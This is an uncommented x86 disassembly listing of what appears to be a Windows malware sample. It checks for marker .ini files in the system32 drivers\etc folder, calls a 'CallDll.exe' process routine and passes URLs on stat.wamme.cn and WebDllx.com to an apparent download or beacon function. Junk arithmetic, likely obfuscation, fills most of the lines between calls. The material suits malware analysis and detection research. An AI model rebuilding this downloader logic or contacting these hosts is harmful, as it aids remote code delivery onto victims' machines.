mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, 0x3b1784cb
imul ecx
mov ecx, dword [0x455690]
sar edx, 0x11
mov edi, edx
add esi, edx
mov eax, 0xcccc28f7
imul ecx
add edx, ecx
sar edx, 0x13
mov ecx, edx
shr edi, 0x1f
shr ecx, 0x1f
add ecx, edx
add edi, esi
sub edi, ecx
push 0
push str.C:WINDOWS_system32driversetc_service1.ini
mov dword [str._r_____r____], edi
call fcn.004295bd
add esp, 8
cmp eax, 0xffffffff
je 0x4037c6
push 0
push str.C:WINDOWS_system32driversetc_service2.ini
call fcn.004295bd
add esp, 8
cmp eax, 0xffffffff
jne 0x4037cd
push 0
call fcn.0042978a
lea ecx, [ebp - 0x814]
lea edx, [ebp - 0x614]
lea esp, [esp]
mov al, byte [ecx]
inc ecx
mov byte [edx], al
inc edx
test al, al
jne 0x4037e0
mov edx, dword [0x4556a8]
mov esi, dword [0x4556a0]
imul edx, edx, 0xcecf4
mov ecx, dword [0x45568c]
imul esi, esi, 0x6e7be
sub esi, edx
mov eax, 0x30f1b28f
imul ecx
mov ecx, dword [0x455690]
sar edx, 0x10
add esi, edx
mov edi, edx
mov eax, 0x3b1784cb
imul ecx
sar edx, 0x11
shr edi, 0x1f
add edi, esi
mov esi, dword [0x455694]
mov eax, edx
shr eax, 0x1f
add edi, edx
add eax, edi
sub eax, esi
add eax, 0xbae2b
push 0x132b600
mov dword [0x45568c], eax
call sym.CallDll.exe_int___cdecl_process5_int_
add esp, 4
push 0x1388
call ebx
mov ecx, dword [0x455698]
mov eax, 0x9e71fdc9
imul ecx
add edx, ecx
sar edx, 0x13
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov esi, ecx
mov ecx, dword [0x4556a8]
mov eax, 0x944b09c1
imul ecx
add edx, ecx
imul ecx, ecx, 0x205c4
sar edx, 0x12
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x4556a0]
imul edx, edx, 0x53aff
sub esi, eax
add esi, edx
mov edx, dword [0x455694]
push 0
mov eax, 0x3b1784cb
imul edx
push 0
push 0
push 0
push str.http:__stat.wamme.cn_C8C_gl_cnzz60.html_pagehttp:__www.WebDllx.com_NewRun
sar edx, 0x11
push 0x45567c
mov eax, edx
shr eax, 0x1f
push 0
add eax, edx
sub esi, eax
mov eax, dword [ebp + 8]
push 0
push 1
add eax, 0x74
sub esi, ecx
push 0x68
push eax
mov dword [0x455698], esi
call fcn.0043b91a
add esp, 0x2c
push 0x2710
call ebx
mov edi, dword [0x455698]
imul edi, edi, 0x5715a
mov esi, dword [0x45568c]
mov ecx, esi
imul ecx, ecx, 0x6e7be
add edi, ecx
mov ecx, dword [0x45569c]
mov eax, 0x30f1b28f
imul ecx
mov ecx, dword [str._r_____r____]
sar edx, 0x10
imul ecx, ecx, 0x8aa1b
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
add edi, dword [0x4556a4]
lea ecx, [ecx + edi - 0x205c4]
mov dword [0x455694], ecx
xor edi, edi
lea ecx, [ecx]
mov eax, 0x1784740b
imul esi
imul esi, esi, 0x8a933
sar edx, 0xf
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x455690]
imul edx, edx, 0xdc98b
sub edx, eax
mov eax, ecx
imul eax, eax, 0x205c4
add edx, esi
add edx, eax
mov dword [ebp + 8], edx
mov eax, 0xcccc28f7
imul ecx
mov eax, dword [ebp + 8]
add edx, ecx
sar edx, 0x13
mov ecx, edx
shr ecx, 0x1f
add eax, edx
add ecx, eax
push 0x2710
mov dword [0x45569c], ecx
call ebx
mov esi, dword [0x45568c]
mov ecx, dword [0x455694]
inc edi
jmp 0x403950
mov esi, dword [0x455698]
mov edx, dword [0x45568c]
imul esi, esi, 0x5715a
mov ecx, dword [0x45569c]
imul edx, edx, 0x6e7be
add esi, edx
mov eax, 0x30f1b28f
imul ecx
mov ecx, dword [str._r_____r____]
sar edx, 0x10
imul ecx, ecx, 0x8aa1b
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x4556a4]
sub esi, eax
add esi, edx
lea edx, [ecx + esi - 0x205c4]
push 0x493e0
mov dword [0x455694], edx
call ebx
push 0
call fcn.0042978a
mov eax, 0x403a13
ret